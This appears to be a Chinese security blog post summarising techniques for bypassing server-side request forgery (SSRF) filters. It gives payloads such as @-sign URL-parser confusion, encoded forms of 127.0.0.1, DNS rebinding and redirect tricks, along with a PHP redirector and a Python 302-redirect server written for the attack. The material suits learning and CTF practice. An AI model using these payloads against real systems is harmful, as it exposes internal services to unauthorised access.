web

SSRF绕过总结

noob
2022-04-16 / 0 评论 / 1,072 阅读 / 正在检测是否收录...
定义

SSRF(Server-Side Request Forgery:服务端请求伪造):是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。SSRF 形成的原因大都是由于服务端提供了对外发起请求的功能且没有对目标地址做过滤与限制。SSRF根据是否回显请求内容分为回显型SSRF和非回显型SSRF。

造成原因

常见情况是由于一些敏感函数导致漏洞,例如curl_exec()、file_get_contents()、fsockopen()、fopen()、readfile()等

检验是否存在

dnslog回显

这是最常见的方式,在url某参数中可看到一些可以写入url的地址,此时请求dnslog回显,则有可能存在ssrf漏洞,但是仍需要请求内网以确认是否真实存在ssrf

请求外链内容成功返回

直接填入外链地址在当前页面下返回请求的外链内容,和上述一样,仍需要请求内网信息类确认是否存在ssrf

内网服务器返回内容

直接请求内网并返回信息,成功则证明一定存在ssrf漏洞。有多重请求方式,直接请求、协议读取、外带等等。

绕过手段

限制请求地址不为内网ip

@符号绕过

url地址的组成为protocol://[username]:[password]@hostname[:port]/path/[file][?query],因此在不同的环境中存在不同的绕过方式。
payload:http://a:@127.0.0.1:80@xxx.com/xxx
curl解析为:

username:a
password:null
hostname[port]:127.0.0.1:80@xxx.com

php的parse_url解析为:

(
    [scheme] => http
    [host] => xxx.com
    [user] => a
    [pass] => @1@127.0.0.1:80
    [path] => /xxx
)

因此可以通过该方式进行绕过
l2319nbl.png
l231a224.png

域名解析绕过

将127.0.0.1解析到某域名下,然后绕过
l231rnyf.png
l231pqf8.png

进制绕过

对ip直接进行进制转换再请求

//ip为127.0.0.1
十六进制:0x7F000001(加0x,否则无法识别)
十进制:2130706433
八进制:0177.0.0.1(加0,否则无法识别)

l230rync.png
l230t8za.png
l230splj.png

ctf学的特殊绕过

//访问127.0.0.1
http://[::]:80/ 
http://0/
http://127。0。0。1/
http://127.0.1/
http://0.0.0.0/

添加端口绕过

有些正则的不严格过滤会导致添加端口即可绕过的情况
l2329z9t.png

30x跳转绕过

仅仅对当前网址进行了校验,并未对跳转后的网址进行校验,因此可以设置跳转后的地址为127.0.0.1,此时跳转后就可以访问
方法一:

<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$schema = $_GET['s'];
$data = $_GET['data'];
header("Location: $schema://$ip:$port/$data");
?>

使用方法:xxx.com/xxx?s=http&127.0.0.1&port=80

import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv) - 1 != 2:
    print("""
    Usage: {} <port.number><url>
    """.format(sys.argv[0]))
    sys.exit()


class Redirect(BaseHTTPRequestHandler):

    def do_GET(self):
        self.send_reponse(302)
        self.send_header('Location', sys.argv[2])
        self.end_headers()

    def send_error(self, code, message=None):
        self.send_reponse(302)
        self.send_header('Location', sys.argv[2])
        self.end_headers()


HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

用法:python3 SSRF302.py port 要跳转的地址

短网址绕过

本质上利用了30x跳转,但是相较于30x跳转,当前大多厂商的短网址都有认证,可信度大于其他域名

存储桶回源绕过

此处使用腾讯云存储桶,设置存储桶为静态网站,再添加回源地址,此处的回源地址会限制不允许内网地址,可以通过先解析为外网地址,然后保存后子再修改解析地址为内网地址,就可以成功设置为内网地址的回源。
使用方法:将可能存在ssrf的位置输入该静态网站地址即可
l234f4ih.png

DNS Rebuilding

原理:在对URL进行杰斯时,首先要对该URL提取HOST,然后,系统会对该host进行DNS解析,获取到解析的IP;接着会对该IP进行检测,检测该IP是否是合法的,比如是否是私有IP等;最后,如果IP检测为合法的,则进入curl的阶段发包。
分析可知,服务端第一次请求dns解析到第二次请求URL之间有一个时间差,如果能通过该时间差,实现第一次请求获取正常ip,第二次请求获取内网ip,那么就能绕过对SSRF的防护。
l234g6z6.png
于是问题的核心就到了TTL的位置,需要解决TTL不为零的问题,阿里云默认TTL大于十分钟,此处有多种解决办法:

使用国外服务器进行设置

一些国外的服务器是允许TTL为0的,自行搜索

ceye.io

该网站直接有该功能,可以直接使用

对统一域名设置两个A记录

可以对同一个域名设置两个A记录(一个内网、一个外网),这样会random访问两条记录中的一个。但是随机性比较强,不是一定能成功的,需要多次尝试

自建dns服务器

后续更新...

利用封闭式字母数字(Enclosed Alphanumerics)字符绕过

封闭式字母数字(Enclosed Alphanumerics)字符是一个Unicode块,其中包含圆形,支架或其他非封闭外壳内的字母数字印刷符号,或以句号结尾。封闭的字母数字块包含一个表情符号,封闭的M用作掩码工作的符号。它默认为文本显示,并且定义了两个标准化变体,用于指定表情符号样式或文本表示。这些字符也是可以被浏览器识别的,而开发人员有时会忽略这一点。举例如下:ⓢⓢⓡⓕ.ⓒⓞⓜ->ssrf.com
不过我好像没成功...
l234vkec.png

参考链接:
[1]https://mp.weixin.qq.com/s?__biz=MzI1NzM0MTMzMg==&mid=2247490902&idx=1&sn=8353c71ef8d69886f28854073544d9d4#
[2]http://blog.leanote.com/post/snowming/e2c24cf057a4
[3]https://geleta.eu/2019/my-first-ssrf-using-dns-rebinfing/
[4]https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf
[5]https://mp.weixin.qq.com/s/545el33HNI0rVi2BGVP5_Q

6

评论 (0)

取消